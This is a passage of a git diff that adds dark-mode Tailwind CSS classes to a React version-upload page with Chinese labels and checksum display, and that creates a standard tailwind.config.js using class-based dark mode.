               </div>
               <div className="grid grid-cols-12 gap-4 items-center">
-                <span className="text-gray-600 col-span-2">校验和:</span>
-                <span className="font-mono text-sm text-gray-700 break-all col-span-10">
+                <span className="text-gray-600 dark:text-gray-400 col-span-2">校验和:</span>
+                <span className="font-mono text-sm text-gray-700 dark:text-gray-300 break-all col-span-10">
                   {currentVersion.checksum}
                 </span>
               </div>
             </div>
           ) : (
-            <div className="text-gray-500 italic">暂无版本信息</div>
+            <div className="text-gray-500 dark:text-gray-400 italic">暂无版本信息</div>
           )}
         </div>
       </div>
 
       {/* 上传新版本表单 */}
-      <div className="bg-white rounded-lg shadow-md">
-        <div className="bg-gray-50 px-6 py-4 border-b">
-          <h2 className="text-xl font-semibold text-gray-700">上传新版本</h2>
+      <div className="bg-white dark:bg-gray-800 rounded-lg shadow-md">
+        <div className="bg-gray-50 dark:bg-gray-700 px-6 py-4 border-b dark:border-gray-600">
+          <h2 className="text-xl font-semibold text-gray-700 dark:text-gray-200">上传新版本</h2>
         </div>
         <div className="p-6 space-y-6">
           {/* 版本号输入 */}
           <div>
-            <label className="block text-sm font-medium text-gray-700 mb-2">
+            <label className="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2">
               版本号
             </label>
             <input 
               value={newVersion}
               onChange={(e) => setNewVersion(e.target.value)}
               type="text"
-              className="w-full px-4 py-2 border rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition"
+              className="w-full px-4 py-2 border dark:border-gray-600 rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
               placeholder="例如: 1.0.0"
             />
           </div>
 
           {/* 文件上传 */}
           <div>
-            <label className="block text-sm font-medium text-gray-700 mb-2">
+            <label className="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2">
               选择文件
             </label>
             <div className="mt-1">
-              <div className="border-2 border-dashed border-gray-300 rounded-lg px-6 py-8">
+              <div className="border-2 border-dashed border-gray-300 dark:border-gray-600 rounded-lg px-6 py-8">
                 <div className="text-center">
                   <input
                     type="file"
@@ -176,14 +176,14 @@ export default function UploadPage() {
                   >
                     选择文件
                   </label>
-                  <p className="mt-2 text-sm text-gray-600">
+                  <p className="mt-2 text-sm text-gray-600 dark:text-gray-400">
                     {versionFile?.name || '未选择文件'}
                   </p>
                 </div>
                 {versionFileHash && (
                   <div className="mt-4 text-center">
-                    <p className="text-xs text-gray-500">SHA-256 校验和:</p>
-                    <p className="font-mono text-xs text-gray-600 break-all">
+                    <p className="text-xs text-gray-500 dark:text-gray-400">SHA-256 校验和:</p>
+                    <p className="font-mono text-xs text-gray-600 dark:text-gray-400 break-all">
                       {versionFileHash}
                     </p>
                   </div>
@@ -194,14 +194,14 @@ export default function UploadPage() {
 
           {/* 错误提示 */}
           {uploadError && (
-            <div className="text-red-600 text-sm">
+            <div className="text-red-600 dark:text-red-400 text-sm">
               {uploadError}
             </div>
           )}
 
           {/* 成功提示 */}
           {uploadSuccess && (
-            <div className="bg-green-50 text-green-800 px-4 py-2 rounded-md text-sm">
+            <div className="bg-green-50 dark:bg-green-900/50 text-green-800 dark:text-green-200 px-4 py-2 rounded-md text-sm">
               上传成功！
             </div>
           )}
@@ -211,7 +211,7 @@ export default function UploadPage() {
             <button
               onClick={uploadVersion}
               disabled={!canUploadVersion}
-              className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 disabled:cursor-not-allowed transition-colors"
+              className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 dark:disabled:bg-gray-600 disabled:cursor-not-allowed transition-colors"
             >
               {isUploading && (
                 <svg className="animate-spin -ml-1 mr-3 h-5 w-5 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
diff --git a/tailwind.config.js b/tailwind.config.js
new file mode 100644
index 0000000..d474ac6
--- /dev/null
+++ b/tailwind.config.js
@@ -0,0 +1,18 @@
+/** @type {import('tailwindcss').Config} */
+module.exports = {
+  content: [
+    './pages/**/*.{js,ts,jsx,tsx,mdx}',
+    './components/**/*.{js,ts,jsx,tsx,mdx}',
+    './app/**/*.{js,ts,jsx,tsx,mdx}',
+  ],
+  darkMode: 'class', // 使用类模式，允许手动切换
+  theme: {
+    extend: {
+      colors: {
+        background: 'var(--background)',
+        foreground: 'var(--foreground)',
+      },
+    },
+  },
+  plugins: [],
+}